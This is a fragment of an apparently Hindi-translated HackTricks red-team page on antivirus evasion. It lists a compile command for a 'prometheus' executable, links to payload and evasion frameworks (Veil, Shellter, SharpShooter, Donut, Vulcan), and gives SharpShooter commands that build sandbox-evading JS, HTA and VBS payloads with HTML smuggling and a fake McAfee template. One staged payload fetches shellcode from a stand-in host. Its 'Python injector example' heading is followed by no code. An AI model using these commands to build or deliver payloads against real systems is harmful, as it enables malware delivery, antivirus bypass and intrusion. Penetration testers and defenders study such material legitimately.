i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

पायथन का उपयोग इंजेक्टर उदाहरण के लिए:

अन्य उपकरण

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

अधिक

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके: